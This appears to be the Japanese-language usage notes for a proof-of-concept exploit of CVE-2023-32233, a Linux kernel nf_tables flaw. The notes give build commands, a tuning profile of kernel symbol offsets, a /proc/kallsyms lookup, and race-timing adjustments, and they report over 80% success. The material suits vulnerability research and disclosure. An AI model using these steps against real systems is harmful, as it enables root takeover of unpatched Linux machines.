
CVE-2023-32233: Linuxカーネルにおけるセキュリティ脆弱性
以下の手順は Ubuntu 23.04 (Lunar Lobster) でテストされています。

次のコマンドを実行して、ビルド依存関係をインストールします。
sudo apt install gcc libmnl-dev libnftnl-dev
次のコマンドを実行して PoC バイナリをビルドします。
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
組み込みプロファイルには、Ubuntu 23.04 (Lunar Lobster) の以下のパッケージとしてバイナリ形式で配布されている Linux カーネルに固有のパラメータが含まれています。
組み込みプロファイルは次のようになります。
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
他の Linux カーネルでテストする際に組み込みプロファイルを上書きするための任意の手順:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
カーネルベースを見つけるために、カーネルメモリ内の nf_tables.ko イメージを調べます。具体的には、nft_counter_destroy() サブルーチンのマシンコードを分析します。つまり、この方法はコンパイラおよびコンパイルオプションに影響を受けます。ただし、通常のケースはすべて、組み込みプロファイルを上書きすることで処理できます。
例えば、nft_counter_destroy() サブルーチンのマシンコードは次のようになります。
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
上記の場合、設定ファイル "profile" に以下の3行を追加することで、いくつかのパラメータを指定できます。
まず、free_percpu ディスプレースメントの直前にある dword のオフセットを再定義します。
5 nft_counter_destroy_call_offset # hex
ここで、値 5 は式 (1e31d - 1e310) - 8 を使って計算されました。
健全性チェックとして、次のマスクを使用して上記のオフセットにある dword を検証します。
ffffffff nft_counter_destroy_call_mask # hex
次の値を期待します:
e9087e8b nft_counter_destroy_call_check # hex
この脆弱性を悪用するには、Linux カーネルのバックグラウンドワーカースレッドとのレースに勝利する必要があります。組み込みプロファイルは、モバイル Sandy Bridge やデスクトップ Comet Lake を含む幅広い Intel マイクロプロセッサでそのレースに勝利する可能性を最大化するように調整されています。ただし、一部のマイクロプロセッサでは追加の調整が必要です。例えば、特定のセットアップで Alder Lake のタスク切り替えのレイテンシが増加することを観察しました。その場合、"profile" に次の行を追加する必要があるかもしれません:
400 race_lead_sleep
アイドル状態のベアメタルシステムを使用したテストでは、脆弱性の悪用に成功する確率は80%以上であると測定しました。
PoC を脆弱なシステム上で起動すると、カーネルメモリが破損し、システムが不安定な状態になる可能性があります。潜在的なデータ破損を避けるために、専用システムで PoC をテストすることを強くお勧めします。